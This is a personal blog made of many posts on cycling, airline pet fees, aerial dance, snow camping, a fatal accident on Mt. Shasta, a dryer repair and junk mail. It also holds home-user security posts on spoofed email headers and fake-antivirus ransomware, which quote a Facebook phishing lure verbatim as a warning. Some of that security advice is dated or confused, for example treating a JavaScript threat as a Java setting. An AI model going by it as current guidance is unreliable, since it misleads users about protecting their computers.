Bike riding used to be tied up with pain and frustration and feelings of failure for me as bikes didn't fit women very well in the 80's and I and a ton of other women were reaching too far, and leaning too far forward and hence getting pain in the crotch area. I was also getting hand/wrist pain because my tendinitis wasn't being properly treated as I was still thinking that I needed to work through the pain. Nope. The solution to Tendinitis is rest, ice, anti-inflamatories, and more rest. And then gradual reintroduction to the activity - and for heaven's sake stop feeling like a failure.

So while I'm worried about this new-to-me bike I'm telling myself that this really isn't a big deal and I should just enjoy it.

Costs of Flying your Dog in the Cabin

Ok so it's a dog post on the nondogblog - we'll just have to cope won't we?

I try to keep track of how much it will cost to bring my dog along with me in s plane. It used to be cheaper than boarding but no longer. I do pine for the days when I could bring my dog along with me for $50 each way. That said the rules are slightly more reasonable as it used to be one animal per cabin and that sometimes was an issue, now the number is higher.)

Here is my latest walk through of major airlines. Note pet policies are very difficult to find on airline websites. Absolutely the fastest way it is to google: (airlinename) pet

In cabin flying of pets

Alaska Air
$100 each way
http://www.alaskaair.com/as/www2/help/faqs/Traveling-With-Pets.asp

American
$100 each way
http://www.aa.com/i18n/travelInformation/specialAssistance/travelingWithPets.jsp#Fees

Continental
$125 each way
http://www.continental.com/web/en-us/content/travel/animals/in_cabin.aspx

Delta
$125 each way - domestic
$200 international
$75 Brazil (Go figure)
http://www.delta.com/planning_reservations/special_travel_needs/pet_travel_information/pet_travel_options/index.jsp

Northwest (See Delta)

Southwest
$75 each way
http://www.southwest.com/travel_center/animals.html

US Airways
$100 each way
http://www.usairways.com/en-US/traveltools/specialneeds/pets.html

United
$125 each way
http://www.united.com/page/article/1,,53410,00.html

So does this mean that my dog will be joining us next time I go up to Seattle? I'd like to think so but I don't know. He's happy where he's boarded and that would be cheaper. The other dog stays with a friend and even though she'd rather be with us, it would take wanting to take $200 and set it on fire. I even went to all the trouble to find a carrier that fits them and fits under the seat. Sigh.

Aerial Dance

It's amazing to me what happens when I stop paying attention. Sometimes, I'm not the only one imagining what's possible and even better is when someone actually does something about it.

One thing that I haven't taken enough time to explore is Dance. The problem is that there aren't many forms of dance that really speak to me, but there are some huge exceptions. Contact Improvisation for one (which I first saw at 848 Divisadero now called CounterPULSE) - there is nothing as beautiful as dancers working off each others bodies to create something more that each one could do. other things I love are ones that get the dancers completely off the ground such as Cirque du Soleil (their most recent show Ovo's final is incredible and has people bouncing from the ground and up on to the wall. Details here.) and Streb.

Also as I write the above I realize that I'm forgetting some really influential dancers in SF that were loosely associated with 848 but have moved on. Keith Hennessey (now Circo Zero) and Jess Curtis come first to mind, but there is also Scott Wells and Kathleen Hermesdorf, and many others.

I think it was Streb that had the dancers on the wall and this completely stirred my imagination and I was coming up with all sorts of dance/aerial stuff that I'd like to create. But that's where I left it. 848 was hard for me to get to on a Tues afternoon, and Streb is in freakin' Brooklyn, plus quite honestly I find the dance world pretty intimidating since I haven't been doing it since I was 6 years old. Every so often I take a class and I get a little frustrated. The 848 one I took was an exception, but still haven't gotten a good enough vision on how to make that work.

But it keeps ghosting at my imagination. SF Circus Center has started classes, and I just heard about a Berkeley dance group called Studio 12 Flys, and my imagination has totally woken back up all of those on-the-wall dance creations that I totally want to create - I have visions of dancers running on the walls. Recreating the regular world rotated by 90 degrees.

Even when I'm being lowered at the rock gym or rappelling which I just learned, I totally want to turn and start bouncing and rolling or turning upside down (which is probably not that safe).

But how to start? It's not like you can roll in and say you want to be a choreographer. I think it's with some of the basic classes and hope I don't get hurt or discouraged - I prefer the one's where you can wear a harness and don't have to be super strong. Check out the arms of those performers you see doing "Ribbon Work." Studio 12 Flys has an intro class here. SF Circus Center has there classes here.

Something about dance in particular makes me want to Do It. I'm terrible at just watching (always have been - even when at a bar with a dance floor). When I see a dance I'm trying to remember the details and I never succeed as that part of my brain that can be shown something once and they get it just hasn't gotten enough practice. Even at gym classes I struggle with remembering patterns. But! Now there is You Tube and I can play and replay videos all I like. I'm suddenly a whole lot happier.

And I also wonder what it is I really want to learn. I know all about harnesses. Don't know much about dancing in one. Then I think well maybe I want to know more about trampolines which aren't just for kids anymore and other things like trapezes (or maybe not). And of course the tricky thing is that I want to learn all of this stuff without getting hurt as while I love (reasonable) risk taking in order to learn a skill, I do take longer to heal now, and have to consider more carefully my activities and vulnerability to injury.

And what do I want to see or explore? Is it more dance or acrobatics which is starting to merge ever since Cirque has been with us. (How cool is that? I have seen every Cirque that has come to town since Allegria.) I looked at the videos of Studio 12 Flys and they are more of the meditative style rather than the acrobatic one that Cirque, 848 and Scott Wells favor. I must admit to prefering the later but it is probably where I'm at right now.

And on a slightly tangential note it is interesting how acrobatics has worked it's way into all sorts of things. It's always been in skateboarding, ski stunt jumping, sky diving, airplane acrobatics, and even frisbee dog, but now can be seen in snowboarding, windsurfing, regular surfing (some), bmx, motocross tricks, base jumping (because it's not dangerous enough?). Haven't seen it much in rock climbing, but give them time they're certainly talented enough for it.

It may be hard for me to sleep tonight.

Barbie could be a Snow Camper

I love snow camping and never knew that I would.

I should probably be more specific. I like camping on snow, but not necessarily winter camping. I like snow camping in mild temperatures that are cool enough at night to keep the snow around, but warm enough during the day to relax and not have to pay so much attention to survival issues.

People have these images of snow camping being challenging and difficult. Not really. Save for having to melt now for water it's not all that different.

There are some benefits that I didn't anticipate.

#1 is that you stay cleaner. When someone mentioned this to me, I didn't think too much about it until I went camping in dirt again. Suddenly I'm very much: "Ewgh I'm dirty. There's grim under my fingernails and I can't get it out, and my pants are stiff with crud." Suddenly I'm this big dirt wuss This doesn't happen in snow. No dirt under the fingernails and you can rinse things by just wiping them in carefully selected snow. Your clothing doesn't get stiff with brown stuff and if it gets wet it dries fairly quickly. (You're also not wearing the traditional pants, but more stretchy underwear with snowpants on top.)

#2 is that with snow and a small shovel and daylight, you can play house all you like
You can make a level surface or you can have a sunken bedroom complete with walls to protect you from the wind. You can make tables and other platforms, and have a kitchen, you can have a private or semi-private bathroom. Heck if you're ambitious you can even dig your own snow cave (I don't bother - too much work.)

But what about the cold? Well in Spring it's often not that cold. Laying on the snow? Well you choose well for sleeping bags (mine is a -5 degree down bag that fits me very well.) and you choose very carefully what pad you use. My most recent purchase is a Thermarest NeoAir and it's just awesome at keeping the cold away, and way better than their other pads mostly because it's actually a modern air mattress.

What amazes me is that in the snow I can wear the same thing for days (except for underwear and sock linings) and I don't notice. I very much notice when I'm somewhere else in that kind of situation (even dog agility).

So Barbie might be an ok snow camper.

Wait, You're not Supposed to Die on Mt. Shasta

Mt. Shasta is indeed a real mountain, but the easiest route is very forgiving of beginners who have some training in the basics (how to stop yourself from falling using an ice axe being the most important) and some instruction in when not to be on the mountain (afternoons being the worst.)

I've always contended that with respect to snow, Mt. Shasta is safer than the very popular Mt. Whitney because there is a nice long place for someone to tumble down if they fall. Whitney's snow has a whole bunch of boulders around. If you fall on Shasta you will likely get hurt, but dying is not common.

But this year has been more than a little exciting on my favorite mountain. First there was a experience climber who got stranded by weather on the summit and subsequently tragically died of HACE (High Altitude Cerebral Edema).

Then things were back to a more extreme version of normal with rain and then extended cold weather creating a whole bunch of ice and very slick conditions and the week before I was there with stellar weather there were 7 rescues of fallen climbers. Lots of broken bones and teeth and a whole lot of bruises and some serious mental trauma for those who got to see someone tumble past them at 50mph (do not try to stop them), but no fatalities.

Well. I was on the phone to my mother-in-law who lives near there and she asked if I'd heard about the Bay Area woman who was killed on Shasta today. WHAT?! Fortunately the computer was on. Not a lot of details yet just the same short AP article everywhere:

http://www.mercurynews.com/breaking-news/ci_15450300?nclick_check=1

Kathi Jeanne Ludwig, 56, was climbing the mountain when she was struck by a watermelon sized boulder at 11,000'. She later died of her injuries. I am so very sorry, and offer my deepest condolences to her husband and her family.

But there's so much of the story that we don't know, and I hope to learn.
We don't know where she was or what time or if they were going up or down. We do know that it was a group and there were two guides but we don't know the guide service.

On June 26th we were climbing on the "Avalanche Gulch" route which despite its name is the easiest way to climb the mountain. The key is that you need to be climbing in the morning when everything is frozen into place. Climbers start around midnight to 4am (an "alpine start") to maximize their safe climbing time and noon is usually a turn around time.

Because of altitude sensitivity, I don't climb well above 9600' and so had just slogged up to that very same altitude of 11,000'. As my climbing partner and I were talking, above us on the route we hear what you don't like hearing. "ROCK!" I assure you this is not about music. It means that a rock has been dislodged and is now falling towards you. Luckily for us the dislodgers were a few 100' above us and slightly to the right of us. What was impressive was the rock keep falling and falling in almost what looked like slow motion. While it's mesmerizing to watch you have to get ready to take action if you have the time.

I tell my climbing partner that if the rock keeps coming I want her to leap to the left and arrest (lie face down, holding yourself in position with the ice axe pick dug in the snow). She responded along the lines of "I don't remember signing up for this." I respond "Sorry."

Fortunately for us the sub-volleyball sized rock stopped beside us in a glissade track. Which actually did result in some entertainment as then the climbers above did glissade by. I told one of them "There's your rock" hoping he would stop and move it but I don't think he realized it was in a glissade track (he was in a different one) and he kept on going. Then very soon after someone was using that track and "There's a rock in front of you." definitely got a cartoon-like flailing over-reaction.

We then commenced on my favorite activity on Shasta: glissading. Probably the best time you can have on your cold butt. I love it. (Again you have to know how to stop.) Someone videoed themselves doing it here and here.

So 11,000' is associated with fun and frolic and some potential rock dodging, but nothing terribly serious. To think that someone died in the exact spot under similar, but oh so different circumstances, gives me more than a bit of pause.

I await the details and have set a Google Alert so I can track any posted news.
Hopefully I will hear something soon and not have to wait for it to be documented in Accidents In North American Mountaineering for 2010.

--------
I now have more details.
It was on the West Face out of Hidden Valley. An area that has hardly any rock fall.
It was ONE rock.

It is very much in the class of freak accident.

sk..., sk.., SKKKKKK...

[Older post that I forgot to publish.]

Last night I had the telescope out to look at planets - is that huge bright thing Mars or Saturn or Venus? I think Mars. Anyway I had positioned it and was letting Terri have a look and while she was looking a creature appeared on the sidewalk (We were on the front lawn.)

At first I thought cat then the movement was all wrong, then a raccoon no that's not either, then what could it b.. EEK.

It was right out of a cartoon. Grabbing Terri's arm and trying not to be alarmist and trying completely unsuccessfully to be calm. Sk, Sk, Skkkk..unk She looks up from the telescope and it's of course gone. HOW? It was right there.

The Lowly Parentheses: Its important job in email

The parenthesis servers a surprisingly vital role in determining where email really comes from. In the email "headers" are a series of Received lines. The email server inserts vital information about an email's origin inside the parentheses. It is the one bit of information you can rely on.

For example:

This is a falsified Email Received line:
Received: from 89.210.237.165 by autotec.com.inbound15.mxlogicmx.net; Fri, 18 Jun 2010 02:01:56 0200

The parens are missing completely.

This is a real one;
Received: from ppp089210237165.dsl.hol.gr (ppp089210237165.dsl.hol.gr [89.210.237.165]) by ahost.somedomain.com (8.13.5/8.13.4) with ESMTP id o5HN38he003988;

Another common thing is for a scammer/spammer to falsify the origin of an email, but the Received line rats them out:

A real, but modified example:

Return-Path: 
Received: from mx1.mytiolo.info (mailhost.dwdtechllc.com [74.119.64.217])
 by host.domain.com (8.13.5/8.13.4) with SMTP id o5HLswgI022584
 for ; Thu, 17 Jun 2010 14:55:11 -0700

The spammer claimed to be from mytilol.info but it really came from dwdtechllc.com because it's what's inside the parens of the Received line that is correct.

These falsifications are sometimes legit (not everyone owns their own email server) but are often not.

Hurray for the parentheses.

Fake virus scanners which are really viruses

My work has been getting a blizzard of viruses sent in email recently. It's not a problem as we just block them at the firewall but the intensity is a bit daunting.

They are all of the same flavor.
They send out a very obscurely written Javascirpt (sometimes encoded) and if the person clicks on it when running windows and has administrative privileges then the browser goes off to a site that's been compromised and has the actual virus on it (the Javascript is just a trigger). Downloads and installs the virus.

In the case I've seen it installs a fake virus scanner that claims to find a lot of fake viruses and for a more $50 you can get the "license key." If you don't payup then your computer continues to pop up a million windows and pretty much won't let you do anything. Symantec and other virus scanners are disabled and the task manager won't run. We call this "Ransomware."

One of these little creatures is called Protection Center which is stolen from a Microsoft Product, but it's not from Microsoft. You can see a picture of it here:
http://www.spywares-remove.com/remove-protection-center-protection-center-removal-help

Best way to deal with it is to reboot into Safe Mode by restarting and pressing F8 repeatedly and then running a virus scan. There are faster ways to kill it by using msconfig.msc and manually deleting it and the associated registry keys but that takes more know how.

While it's actually a very interesting virus I don't fully understand it enought to really expound on it - most of it is non-functional crud and the web addresses have a lot of extra characters that are taken out at the last second. it is very obfuscated but with a little effort you can read it. There is an excellent analysis of it here:
http://garwarner.blogspot.com/2010/06/more-twitter-spam-html-attached-threats.html

If you have a copy of the base64 virus you can run it through an online base64 decoder and then decode the resulting javascript. What you're looking for is the line that generates the web site. Once I figured out where it was going I stopped but the above link goes further.

As with most things it's better to prevent it from happening in the first place.

Prevention
If you are a Windows User:

- Don't click on weird links or attachments
- Run as an unprivileged, non-administrative user
- Disable Java in your browser
Firefox 3.0.6: Tools-options - click on Content and uncheck Enable Java
Seamonkey 2.0.4: Edit-preferences - click on Advanced and uncheck Enable Java
internet Explorer 8.0.6001: Tools-internet options - Click Programs, click manage add-ons, click on Java and click disable (along with any associated java add-ons).

"Hanging Out" on Shasta?

I had one of those synchronicity experiences today that you just don't plan on.

I was up at Shasta and the weather was icky and rainy and I had decided not to go on my trip since I had a second trip planned also in June (because this isn't the first time I've been rained out). I was down in the fantastic local mountaineering store asking for an explanation of the confusing topic of Randonee Skiing gear (I'm much less confused now), and the store staff was chatting about a Shasta Mountain Guides trip and I tossed in a bit of info that I knew.

One of the people involved in the conversation was an SMG guide and looked right at me and said "Hey I know you. We hung out together - on the West Face." Now while I go to Shasta a fair bit there are very few people there who recognize me and I wasn't initially familiar with the location, but she looked familiar so I played along for a moment, with the brilliant response of "Really?" "Yeah you do dog shows right?" Oh God she's right obviously. Then I thought to introduce myself and she told me her name and it all came back. I'm totally impressed that she remembered me from a year ago because she guides a lot of people in a season.

The West Face is above Hidden Valley and I've only been there once on an SMG trip, so I wasn't immediately familiar with the term even though it's an obvious feature. It was during that trip where I realized that my altitude issues now prevent me from keeping up with a group. This guide, let's call her L, stayed with me when I fell behind. She was so patient with me. What really amuses me now is that "hang out" is the last thing I'd call my struggling with not enough oxygen in my non-responsive muscles. We did spend some time together and I'd love to hire her as a private guide sometimes. I do hang out when I'm on Shasta but it's at Horse Camp when I'm casually relaxing and chatting with others. Her using the term makes me laugh because of its deliberate absurdity.

What was amazing was when I finally decided to turn around she went back with me (they kinda have to), and then she turned right around and booked back up the incline to catch up with the group. It was still early enough that we were all using headlamps (Travel on snow is easiest when the snow is frozen and that's in the very wee hours.) and I could follow her remarkable progress. She openly admits to being a calorie burning junkie and I can relate to a much smaller extent. The endorphins are hard to beat.

Anyway I mentioned the possibility of maybe hiring her to do a private climb of the lower part of the Cassaval ridge or other routes and she said that they often do things like that.

I so admire good guides. They usually love what they do and it shows.

My Love/Hate Mountain Obsession

I am supposed to be getting ready for a trip to Shasta and I'm SO dragging my heels. I love that mountain but I really don't like all the prep especially because circumstances make it appear that I'm going by myself. It means backpacking up to Horse Camp and them leaving in the middle of the night just so I can climb as high I as can. I have difficulties with altitude so I'm not going to summit, and the travel is on snow which makes things both easier and harder at the same time.

I'm vaguely considering just starting from the trailhead Bunny Flat but that adds time on to the climb and decreases how far I'll be able to get. But it would mean not having to lug a backpack and not having to do that saves a huge amount of energy. I could instead camp at Bunny Flat (http://www.shastahome.com/Camping/Campgrounds.html) and the car would be there. The bummer is that it's noisier (snowmobiles) and there isn't that delectable spring water - in fact there's no water and I'd have to bring it or melt snow.

So I'm supposed to be getting ready but instead I think I'll sit and watch Archer (a recent fav).

Then I laid down for a couple of hours and I'm doing much better and am back to the original plan of backpacking up to Horse Camp. Except carrying a 2 person tent is a real drag when you're one person. I'm telling myself that it's a short trip so I could do it in two trips if I want to. I'm also debating taking my skis. I have never skied there but it might be fun to try (carefully).

But I keep going back to: What is going to end this obsession? Perhaps just trading it for another obsession perhaps? Though I seem to collect them and they don't really go away. I'm discovering that what I really like is dropping anchor somewhere (some people have started calling them "base camp" trips), and exploring the area using just a day pack. We're going to be doing that in July in Yosemite Cathedral Lakes area and I'm excited about it. It's going to be a lot of cross country because there are not many trails in that area.

But I really do want to get higher up on Shasta. I know the lower part of the mountain very well and could even guide it, but I haven't been above Helen Lake and I really want to. One way that I'm considering is have someone else sherpa my pack up to Helen Lake but that means that I have to actually get up there myself so that I don't get separated from it. It means lugging extra fuel to melt snow and camping at Helen is a bit crowded, and it's not nearly as nice to camp at as Horse Camp though it is 2000' higher.

So my adding obsessions is just meaning that I have enough of them that they are now round robin. I'm not going to Whitney this year (I think), but if I don't I'm definitely going next year and will be trying to summit from the lower Outpost Camp which means climbing nearly 5000' - eek.

But enough for now, right now it's Shasta and there's a ton of snow and it's going to be gorgeous.
However I just double checked with the Fifth Season Snow Conditions line (530-326-5555) and it's saying that the snow pack is more than 120% of normal and there is no running water anywhere on the mountain which means bringing extra fuel to melt snow. This means that delicious spring water isn't available yet which is a huge reason to camp at Horse Camp so I'm back to wondering about Bunny Flat and maybe just doing some skiing in the area. Oh, I don't know - argh. I have a second trip planned later in the month and that might be a better time.

I Hate Literary Surprise Violence

When I read a book I let my defenses down, so I can fully experience the story. This is not a conscious choice it's just something that happens. So when I feel an author is messing with my head I really, really take it personally. Surprise extreme violence is the worst, and it's funny (?) how what happens is strangely similar to real life - it takes repeated violations for the relationship to end.

Something I dislike happens in a book and I continue reading/listening thinking that it might get better. It usually doesn't. If an author has decided that that's their thing then they use that cheap trick (and that's all it is) repeatedly.

The most recent one I WAS listening to has painted a bleak scenario for the characters. You know the main character is going to be ok, but those along are very much at risk, so in a sense I had been warned. But the author will take you off on a the main character dreaming about the innocence of playing in her childhood and you get sucked into that story and then pow. The main character wakes up to find that one depressed/hallucinating character has killed herself, and then of course the main character spends time describing the dead woman's body. I spent time cursing at the author.

This is not Taratino. It's not hyperviolent, but Taratino you do get warning (in the script or on film). Even David Lynch or the Cohen brothers (i'm thinking the brutal No Country for Old Men) are easier in a way than writers who seem to deliberately screw around with your comfort level. Maybe that's his point, but I rarely leave audible books behind but this is one of them. After a few go rounds like this and knowing that it's going to get worse (I read a summary in self defense), I've decided my time is better spent reading less punishing stuff and I'm going to have to offer my apolgies and views to the book club. Ironically it's a reasonably well rated book: ah well.

My Own Private Biathelon

I'm finally getting back to mountain biking which has been a passion of mine

I had stopped for a while partially because my bike got stolen out of my locked shed (grrr - new bike lives in the house now), but also because the braking was hurting my hands and wrists.
Well during my time off my wrists healed and the technology of the brakes has improved dramatically with the invention of disc brakes for bikes. So I got a newer version of my bike (a Fischer Hoo Koo E Koo - it's not just the name I like I swear - it's a really cool bike too.) but I haven't done a whole lot with it this year because of the weather.

ANYway back to what I was going to write about. When I'm on a ride I'm frequently on my own and though I'm working to change that, it does have some interesting benefits. The best of which is that I'm not constantly comparing myself to someone else. I can feel good about what I've accomplished without the "what if"s and "if only"s of: what if I could keep up with person X or if only I climb as well as person Y.

My ride was 10 miles at Mt. Diablo in Mitchell Canyon. 1 of those miles I pushed the bike up 800' of elevation. The cool thing was that I wasn't trying to keep up with someone else and I found myself mentally embracing the bike pushing because it's exercising different muscles (hamstrings in particular) that don't usually get as worked out when biking. So in a way I was doing a bike/walk biathelon of sorts if you will and what's intriguing me is that I'm wondering if this is a good workout for climbing training since you are working out more of your leg that you would if you're just biking which is very quad intensive.

May be I should ask Courtenay of Body Results for her opinion about this though I'm not a client right now.

Anyway the best part of all that bike pushing was that I got to go down on the bike. Wheeee! I love this as I hate walking down steep, gravely hills.

What "There's no there, there" Really Means

When Gertrude Stein alledgedly referred to Oakland at "There's no there, there." It's my understanding that she was actually referring to the fact that her family's home was no longer there. I know exactly how she feels.

I grew up on 2 1/2 acres. A rambling, basic, but large for the time, ranch house, and a large orchard which I've written about how I got to experience being a child slave laborer. Though I was paid well in terms of horse time, so I was properly bought off.

To fund my parents' retirement that place was sold and is now 4 McMansions. This is the closest I'll ever go to it:

It's the one place in the world that I won't go, which is really a strange feeling. Something that played such a large role in my early life just isn't there anymore. Many years ago my father tried to find the place he grew up in Tiger, GA and ran into a similar thing. The house just wasn't there anymore and he seemed kinda thrown by that. Muttering "You really can't go home again." I think I've taken that to heart. I know I shouldn't go there. It would just hurt.

My house would have been on the right of the photo and the rest was horse corral and then the orchard. Mostly of oranges, but a fair number of avocado trees as well. Ironically being a typical picky kid I didn't like avocados until I left home and experienced the heaven of guacamole. But at least I was and remain heavily into fruit so I wasn't a lost cause.

Pouting about Blogger

Up until now, blogger.com has let you host your blog on your own web site. I love this since I pay for a web site and why not host it there? But apparently those of us who do that are essentially too high maintenance (to very loosely paraphrase them) and so now they are insisting on hosting the blogs. It may look like it's on my site but it's smoke and mirrors actually.

I am bummed about this since I think it really should be on my own site but I haven't taken the time to actually learn enough about WordPress (blogging software that is available through Verio - my host) to make use of it. I do keep an unlisted training blog and maybe I can use that to see if I can figure things out. I made one attempt and really didn't get anywhere.

Though just to rub it in when I published this entry it published immediately and with FTP to my site there was always a delay.

This blog has moved

This blog is now located at http://nondogblog.frap.org/.
You will be automatically redirected in 30 seconds, or you may click here.

For feed subscribers, please update your feed subscriptions to
http://nondogblog.frap.org/feeds/posts/default.

Facebook Scam keeps reappearing

As a followup to the last post, here is the text to a Facebook scam email that was sent from somewhere in Asia from this IP address:

123.236.12.47
------------------
Dear user of facebook,

Because of the measures taken to provide safety to our clients, your password has been changed.
You can find your new password in attached document.

Thanks,
Your Facebook.

------------------

And they include a zip file that they hope you'll open. Opening it runs a program that trieds to contact the server of the malware writers so that your system can become a slave to do whatever they wish. The program may or may not try to steal the credentials on your system possibly giving them access to your bank.

You are the Accessory in Online Crime

It used to be that viruses and trojans were highly sophisticated programs that took advantage of obscure weaknesses in software. That is still true, but the emphasis has changed. The level of sophistication is there, but it's different, and in a way much less intimidating (to me).

The art of the grifter is alive and well on the internet and has turned into very profitable business model for criminal organizations in Russia and the Ukraine. The level of organization is now where the sophistication is. What I find interesting is that China doesn't come up in the dialog. China is still relying on sophistication instead of conning.

The entire operation hangs on "Social Engineering" fooling you into allowing some sort of rogue software to be installed on your system. This is actually a lot easier than you would imagine as people often list themselves as the administrator of the system instead of running as a limited privilege user and logging in explicitly as administrator when you need to do system work. Once you have allowed such an installation, you have likely been recruited into an army of computers called a Bot Net.

The take away message is clear. If you get a message that you are not expecting, asking you to click on a link. Don't touch it. If it's your bank, initiate the log in yourself. Places like Facebook are not going to suddenly change your password and send the new password in a like (that's going around today and has been before.)

Some of you may have been harrassed by an "Anti Virus" program. I cleaned a different one off my Mother in Law's computer. Here is one that someone detailed:
Analysis of a Rogue (Fake) AV Program
http://www.secureworks.com/research/threats/rogue-antivirus-part-1/?threat=rogue-antivirus-part-1

Those who are hooked on Criminal Conspiracy TV shows may find this fascinating
Pay Per Install model of Malware Distribution (You only need to read the first 3 pages to get the idea.)
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/pay_per_install.pdf

Understanding Social Engineering
http://www.net-security.org/article.php?id=1403

The Zeus Bot Net
http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/zeusapersistentcriminalenterprise.pdf

Blogger Giving Me Grief

For years blogger has allowed you to keep your blog on your own web site via FTP. If you have your own site that makes sense. Now because of support issues (apparently we suck up too many resources - FTP is going away and I have to either give them a part of my url that will redirect to them or just have a blogspot url. Neither is probably horrible but i'm pouting as I like having everything stored on my own web site since I do pay for the stupid thing after all.

I've just learned that Word Press is available on my own site so I've installed it and of course i'm completely lost. I also don't know how to import years of other blogging to it. I have all of April to decide but I do need to start getting a little more serious about it.

I hate it when I'm given this great thing and then I get used to it and then it gets taken away. :(

So I see that Word Press has an import option. Cool. Except for one leetle thing.
They won't work on the older style FTP blogs. I have to upgrade the blog to the new style and then I can import it. Gee thanks for saving me all that work. Hmphf.

Dryer DIY Just Barely

I have been led down the primrose path by the internet and survived to tell about it. Not only that, but the dryer that I set out to fix (yes, this is my boondoggle though Terri got me out of it) is now fixed.

Our dryer had over the past few months developed a horrible squeaking/squealing sound and I innocently googled it and found a whole lot of squeaky dryers out there, but I also came across this page: http://www.askmehelpdesk.com/advice/t-20960.html
which has someone correctly diagnosing the problem as worn out "rear drum bearing" and he then continues on to explain in some detail how to fix it. What follows is many posts telling him thank you and that it wasn't all that bad and if you have two people it takes about an hour to do. This made me brave and even though our dryer is a little different I went ahead and ordered a "rear drum bearing" kit.

One hour turned into a week in our case.

Dryers are conceptually pretty simple beasts. They are basically a heated barrel that spins around on a post. This post or bearing had worn scores in it and was now howling. So knowing that and knowing that everyone else said it was doable even though it involved pulling that barrel/drum out completely, emboldened me. Such is how such misadventures start. What no one warned us about because our 15 year old dryer is likely just a little different that everyone else's is that while we could pull it all the way apart and replace the part and even find the little E-clip that went flying off when we pulled it off (**) (and of course was the one thing that wasn't included in the replacement kit), putting it all back together was well, just hell. One person said without any detail that putting their's back together was tricky, No one said anything about having to line 4 layers up blind. One of those layers, a disk of metal about 6 inches in diameter, would fall down at the smallest provocation and we learned later all the layers would only go back together in one orientation.

This is a photo of the dryer just before we pulled the drum out.



I don't have a photo of the drum out of the dryer. Too bad as it was pretty funny looking to be rolling around this drum outside of the dryer.

Once the drum was out you could see the bearing here:
It's hard to see but the mishapen disk thing is actually the bearing.




Here are a couple of photos of the older one where you can see it better. You can actually see the scoring on the shaft which is what was causing all the screaming.

The nearly impossible part was that the dryer drum had to bolt back into those little holes on the disk of the bearing (you can see them on the left photo.) If it had just been a matter of lining up the drum with the bearing that might have worked fine but the other layers involved that you couldn't touch while trying to get them lined up made me give up twice. Terri saved the day/week (not a joke). She figured out that you needed something to insert into the holes and then place the drum so that what you have inserted keeps everything lined up. We first tried dowels which weren't sturdy enough so she figure out that a bolt big enough to stay in the bearing holes would go through all the other holes, but she asked: if only I could get a bolt without a head on it.

This is one way our skills dovetail nicely. I am something of a dremel queen. Cut the head off a bolt? No problem, me and my dremel's cut off wheel only need about 5 minutes.

Then it was a matter of getting brave and trying to get the drum to line up with these three little bolts. I was the one who had been doing the lifting, but it was actually Terri who got it miraculously lined up and then I got to do the honors of one at a time pulling out the headless bolt and getting the actual bolt in there. It felt so strange to be able to accomplish something that you had given up on two days ago. I had even picked out what shop I was going to call and say "Hi, we can't get our dryer back together. No we don't need it fixed, we did that, but we can't get all the pieces lined up correctly." And each one one lined up perfectly as Terri who can be quite methodical when it's important, had taken the time to figure out exactly which orientation was the only one that would work and to carefully mark it. I'm very impressed and it's not something I would have thought of on my own.

Then we couldn't quite reach the belt to get it back on the pulley. I couldn't visualize how it was supposed to work, but we found an internet diagram and then Terri was able to draw it out for me. The only problem was that I was still having a lot of difficulty actually reaching the belt and after struggling with it for a while I finally realized that there had to be another way since my hands are smaller than 90% of appliance repair people and sure enough there was a way to it from the back of the dryer which made life much easier.

Of course when we finally finished we had to face the possibility that it might not work so with much trepidation we turned it one and No More Squeak! Ahhh. Of course we have parts left over but that's because the shaft wasn't an exact replacement so we had a couple of washers we had to omit but it's happily drying away right now and I'm hoping we'll get a few more years out of it before having to give up on it.

All in all it was worth it since it save us having to (a) buy a new dryer or (b) pay to have it fixed. The kit was about $25 with shipping. Having it repaired would likely have been over $100. But that said it was pretty high on the home improvement adventure scale and whether it is worth it to any one particular couple (2 people are required, domestic relationship optional) can only be answered by them. And if you don't have a solid relationship before you start you may not have one after it. At least it didn't involve water (washer's are way more complicated and I'm not sure I want to mess with one) and while we had most of the dryer in pieces, we never had to mess with the gas line going into the dryer, nor anything to do with the heating portion.

So we all survived and my laundry is getting done.



** And what sadist invented E clips? It took over an hour to figure out what it was called. Clamp? Nope. Cotter Pin? Nope. Got frustrated and took the dog on a walk. Came back and tried: "C clip" while not correct that got us far enough to be able to spot a picture of ours and then we were able to figure out it was called an "E clip" which given its shape makes sense.

Then we had to figure out how to get it off and the one internet person's idea of inserting needle nose pilers into the open end and then gradually opening the pilers worked. Their idea of using a plastic bag to then catch it when it releases and goes flying didn't work, and I found myself taking apart a whole 'nuther section of the dryer apart and sifting through a decade of lint, but I finally found it. In retrospect what would have likely worked is the always essential duct tape. Tape the part of the clip that you're not working on and anchor it to the dryer.

----

This whole experience was a whole series of unplanned side steps and in home improvement you just have to anticipate that at best things are going to go in a circuitous path. it didn't end that night, but continued this morning when Terri asked if the hot water heater was on. It wasn't as I had turned it off momentarily by accident last night and that killed the pilot. So this morning was about finding the long mechnical match and then remembering how to relight it even though the instructions were covered up by the insulating jacket (turn the dial to "pilot" and hold the red button down while placing the lit match onto what you hope is where the pilot light goes, then when the pilot lights, move the knob over to "on." My first time I got it lit then carefully moved the knob to "off." D'oh. It all finally worked out and I actually had a hot shower this morning to go along with my clean clothes.

---------
Later
After less than a month it started to squeak again.
Apparently there is a front support that we could replace also.
After the last go round we decided it was curtains for the dryer and we replaced it with a used one from a local dealer. Much better.

Unplanned Weight Loss is Disconcerting

I've been trying to lose another 5 pounds and i'm suddenly getting my wish and I'm not sure I'm at all happy about it. I'm having one of those GI related problems (actually not the big D), and even though it's not particularly painful, the anxiety it causes has made me lose my appetite and I forget to eat. I fortunately can eat and do when I remember to but I don't snack inbetween meals much and suddenly I'm 3 now 4 pounds lighter. It's actually a little disturbing I find.

Fortunately, even if I were to lose another 10 pounds (I hope not) I'd still be ok.

I'm just really glad I have health insurance.

[later]
I am doing better and am now back to the weight I would expect to be (2 pounds heavier - probably had lost a bunch of water then).

Getting off the Value Pak junk mail list

In my continuing quest to get off of junk mail lists.

Valpak puts the removal instructions in the smallest type possible on their envelope.
but the number they post 1-800-676-6878
actually encourages you to use their website.

Both methods are a complete pain, but seem to work.

Entering the numbers listed after the phone number will get you to the removal part of the phone tree:
1-800-676-6878, #, 2, 2, 1
Then leave your address and spell out anything even slightly odd.

The website was a tough one too, but I finally found it:

http://www.coxtarget.com/mailsuppression/s/DisplayMailSuppressionForm

You can give them your email address which they swear is just for confirmation only, but I declined to.

Removal is for only 2 years which is annoying as I was removed and just the time I got off the other one this one started up again.

Though given that you used to have to mail then the label for them to remove you this is miles easier which is probably why they make it hard to find.